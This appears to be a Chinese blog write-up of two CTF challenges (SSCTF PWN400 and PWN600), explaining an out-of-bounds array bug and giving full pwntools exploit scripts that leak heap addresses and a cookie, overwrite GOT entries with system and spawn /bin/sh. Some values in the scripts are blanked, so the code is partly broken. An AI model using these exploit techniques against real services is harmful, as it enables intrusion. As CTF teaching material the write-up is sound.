前几天比赛的PWN题,简单写了下。

PWN400

  漏洞是一个数组越界访问造成的任意地址读写。在对数据排序后,对数据进行查询和更新时,可以访问到数组以外一个元素(4个字节)。

  程序中存在3种数据结构,第一种是用于存储排序数据的基本块。可以定义为:

typedef struct chunk1{
int size;
int array[size];
}chunk1, *pchunk1;

  第二种是用于索引这些排序数据块的基本块。可以定义为:

typedef struct chunk2{
pchunk1 data;
struct chunk2 *next;
}chunk2, *pchunk2;

  第三种是用来索引前两种的基本块,在利用过程中并没有涉及到该数据结构。

  通过构造内存,可以造成堆地址泄漏(这个简单,对数据进行排序后,通过越界访问就可以泄漏堆地址信息),此外,精心构造可以造成两个第一种基本块相邻接,这样就可以通过地址越界将相邻的第一种基本块的大小改为很大,造成任意地址的读和写。当然了,在该题中必须有整数溢出的一个漏洞才能达到最后的目的。

 from pwn import *
import time
#context.log_level = 'debug'
#by wangaohui
s = remote('127.0.0.1', 10001) time.sleep(1)
print 'pid of pwn1 is :' + str(pwnlib.util.proc.pidof('pwn1')[0])
raw_input('go!') def sort(data):
s.sendline('sort')
s.recvuntil('How many numbers do you want to sort: ')
s.sendline(str(len(data)))
for i in data:
s.recvuntil('Enter a number: ')
s.sendline(str(i))
s.recvuntil('_CMD_$ ')
sort([1])
s.recvuntil('Choose: ')
s.sendline('')
s.recvuntil('Choose: ')
s.sendline('')
s.recvuntil('Query index: ')
s.sendline('')
s.recvuntil('Query result: ')
bigtrunk = int(s.recvuntil('\n')[:-1])
print 'leaked bigtrunk addr is %x' % bigtrunk
s.recvuntil('Choose: ')
s.sendline('') s.recvuntil('_CMD_$ ')
sort([1,2,3,4,5,6,7])
s.recvuntil('Choose: ')
s.sendline('')
s.recvuntil('Choose: ')
s.sendline('') s.sendline('clear') s.recvuntil('_CMD_$ ')
sort([1,2,3,4,5,6,7])
s.recvuntil('Choose: ')
s.sendline('')
s.recvuntil('Choose: ')
s.sendline('') s.recvuntil('_CMD_$ ')
sort([1])
s.recvuntil('Choose: ')
s.sendline('')
s.recvuntil('Update index: ')
s.sendline('')
s.recvuntil('Update number: ')
s.sendline('') #0x40000001
s.recvuntil('Update succeed!')
s.sendline('') s.recvuntil('_CMD_$ ')
s.sendline('reload')
s.recvuntil('Reload history ID: ')
s.sendline('')
s.recvuntil('Choose: ')
s.sendline('') atoigot = int('0804D020',16) + 0x100000000
index = (atoigot - (bigtrunk + 0xc))/4 s.recvuntil('Query index: ')
s.sendline(str(index))
s.recvuntil('Query result: ')
atoi = int(s.recvuntil('\n')[:-1])&0xffffffff
print 'leaked aoti addr: %x' % atoi
system = atoi - 0x2F7F0 + 0x3E360 #debug s.recvuntil('Choose: ')
s.sendline('')
s.recvuntil('Update index: ')
s.sendline(str(index))
s.recvuntil('Update number: ')
systemstr = '-' + str((system^0xffffffff)+1)
s.sendline(systemstr) s.recvuntil('Choose: ')
s.sendline('/bin/sh;')
s.interactive()

PWN600

在PWN的基础上对第一种基本块加了Cookie,并在查询和更新时利用Cookie判断该基本块是否被Corrupted。增加了Cookie后,利用难度增加,Cookie是存放在.data数据段中,通过第一种数据块覆盖第二种数据块,可以造成Cookie的泄漏。

泄漏了Cookie后,就可以构造内存,伪造第一种基本数据块,接下来的思路就和PWN400相类似,任意地址读写。我这个EXP有个成功概率的问题,不会每次都成功。

 from pwn import *
import time
#context.log_level = 'debug' s = remote('127.0.0.1', 10001)
time.sleep(1)
print 'pid of pwn2 is :' + str(pwnlib.util.proc.pidof('pwn2')[0])
raw_input('go!') def sort(data):
s.sendline('sort')
s.recvuntil('How many numbers do you want to sort: ')
s.sendline(str(len(data)))
for i in data:
s.recvuntil('Enter a number: ')
s.sendline(str(i)) s.recvuntil('_CMD_$ ')
sort([1,2])
s.recvuntil('Choose: ')
s.sendline('')
s.recvuntil('Choose: ')
s.sendline('')
s.recvuntil('Query index: ')
s.sendline('')
s.recvuntil('Query result: ')
bigtrunk = int(s.recvuntil('\n')[:-1])
print 'leaked bigtrunk addr is %x' % bigtrunk s.recvuntil('Choose: ')
s.sendline('')
s.recvuntil('Update index: ')
s.sendline('')
s.recvuntil('Update number: ')
s.sendline(str(int('0804C04C',16)))
s.recvuntil('Choose: ')
s.sendline('') s.recvuntil('_CMD_$ ')
s.sendline('history')
s.recvuntil(', Len = ')
random = int(s.recvuntil(',')[:-1])
print 'leaked cookie is %x' % random s.recvuntil('_CMD_$ ')
t1 = int('',16)
t2 = t1^random
if(t2>t1):
print 'Will be Exploited!'
sort([t1,t2,t2+1,t2+2,t2+3,t2+4,t2+5,t2+6])
s.recvuntil('Choose: ')
s.sendline('')
pos = bigtrunk + 0x20
s.recvuntil('Choose: ')
s.sendline('')
s.recvuntil('Update index: ')
s.sendline('')
s.recvuntil('Update number: ')
s.sendline(str(pos))
s.recvuntil('Choose: ')
s.sendline('') s.recvuntil('_CMD_$ ')
s.sendline('reload') base = bigtrunk + 0x50
atol_got = 0x10804C01C
index = (atol_got - base)/4
print 'index is %d' % index
s.recvuntil('Reload history ID: ')
s.sendline('')
s.recvuntil('Choose: ')
s.sendline('')
s.recvuntil('Query index: ')
s.sendline(str(index))
s.recvuntil('Query result: ')
atol = int(s.recvuntil('\n')[:-1])&0xffffffff
system = atol - 0x000327B0 + 0x0003E360
print 'leaked system addr is %x' % system
systemstr = '-' + str((system^0xffffffff)+1) s.recvuntil('Choose: ')
s.sendline('')
s.recvuntil('Update index: ')
s.sendline(str(index))
s.recvuntil('Update number: ')
s.sendline(systemstr)
s.recvuntil('Update succeed!')
s.recvuntil('Choose: ') s.sendline('/bin/sh;')
s.interactive()

SSCTF-PWN的更多相关文章

  1. SSCTF Final PWN

    比赛过去了两个月了,抽出时间,将当时的PWN给总结一下. 和线上塞的题的背景一样,只不过洞不一样了.Checksec一样,发现各种防护措施都开了. 程序模拟了简单的堆的管理,以及cookie的保护机制 ...

  2. Pwn~

    Pwn Collections Date from 2016-07-11 Difficult rank: $ -> $$... easy -> hard CISCN 2016 pwn-1 ...

  3. iscc2016 pwn部分writeup

    一.pwn1 简单的32位栈溢出,定位溢出点后即可写exp gdb-peda$ r Starting program: /usr/iscc/pwn1 C'mon pwn me : AAA%AAsAAB ...

  4. i春秋30强挑战赛pwn解题过程

    80pts: 栈溢出,gdb调试发现发送29控制eip,nx:disabled,所以布置好shellcode后getshell from pwn import * #p=process('./tc1' ...

  5. pwn学习(1)

    0x00 简介 入职之后,公司发布任务主搞pwn和re方向,re之前还有一定的了解,pwn我可真是个弟弟,百度了一番找到了蒸米大佬的帖子,现在开始学习. 0x01 保护方式 NX (DEP):堆栈不可 ...

  6. pwn学习之四

    本来以为应该能出一两道ctf的pwn了,结果又被sctf打击了一波. bufoverflow_a 做这题时libc和堆地址都泄露完成了,卡在了unsorted bin attack上,由于delete ...

  7. pwn学习之三

    whctf2017的一道pwn题sandbox,这道题提供了两个可执行文件加一个libc,两个可执行文件是一个vuln,一个sandbox,这是一道通过沙盒去保护vuln不被攻击的题目. 用ida打开 ...

  8. pwn学习之二

    刚刚开始学习pwn,记录一下自己学习的过程. 今天get了第二道pwn题目的解答,做的题目是2017年TSCTF的easy fsb,通过这道题了解了一种漏洞和使用该漏洞获取shell的方法:即格式化字 ...

  9. pwn学习之一

    刚刚开始学习pwn,记录一下自己学习的过程. 今天完成了第一道pwn题目的解答,做的题目是2017年TSCTF的bad egg,通过这道题学习到了一种getshell的方法:通过在大小不够存储shel ...

  10. kernel pwn 入门环境搭建

    刚开始上手kernel pwn,光环境就搭了好几天,应该是我太菜了.. 好下面进入正题,环境总共就由两部分构成,qemu和gdb.这两个最好都需要使用源码安装. 我使用的安装环境为 qemu:安装前要 ...

随机推荐

  1. Jekins安装

    1. Jekins支持多系统:windows, mac,linux 2. Jekins安装方式有三种:直接war文件安装,安装包安装,将war文件放到web容器安装 3. 在windows下安装 a. ...

  2. hdu 5626 Clarke and points

    Problem Description Clarke is a patient with multiple personality disorder. One day he turned into a ...

  3. Error:Execution failed for task ':app:dexDebug'. > com.android.ide.common.process.ProcessException

    异常Log: Error:Execution failed for task ':app:dexDebug'. > com.android.ide.common.process.ProcessE ...

  4. 《你必须知道的495个C语言问题》知识笔记及补充

    1. extern在函数声明中是什么意思? 它能够用作一种格式上的提示表明函数的定义可能在还有一个源文件里.但在 extern int f(); 和 int f(); 之间并没有实质的差别. 补充:e ...

  5. 9.5 在 C# 中使用 F# 库

    9.5 在 C# 中使用 F# 库 像 C# 一样,F# 也是一种静态类型的语言,就是说,编译器知道每一个值的类型,以及类方法和属性的签名.对于与 C# 的互操作性来说.这是很重要的,由于,编译器能够 ...

  6. 【十】注入框架RoboGuice使用:(Your First Testcase)

    上一篇我们简单的介绍了一下RoboGuice的使用([九]注入框架RoboGuice使用:(Your First Injected Service and BroadcastReceiver)),今天 ...

  7. apache 日志中记录代理IP以及真实客户端IP

    vim /usr/local/apach2/conf/httpd.conf 默认情况下log日志格式为:LogFormat "%h %l %u %t \"%r\" %&g ...

  8. Windows下配置sphinx+reStructuredText详解

    最近有朋友想在windows下做个人笔记,没有找到顺手的工具,问我有什么好的工具推荐.正好前两天在网上看到一款做文档的利器sphinx+reStructText,当时在ubuntu下搭了下环境试了试, ...

  9. 2014年1月24日 Oracle 连接查询与子查询

    1.乘积连接:   源表.源数据交叉链接,结果集数量为源数据之间的乘积 2.相等链接:   通过where关联几个数据源中的某一字段进行链接 3.自链接   自己链接自己 SSF A a1, A a2 ...

  10. ios 项目被拒绝各种理由

    . Terms and conditions(法律与条款) 1.1 As a developer of applications for the App Store you are bound by ...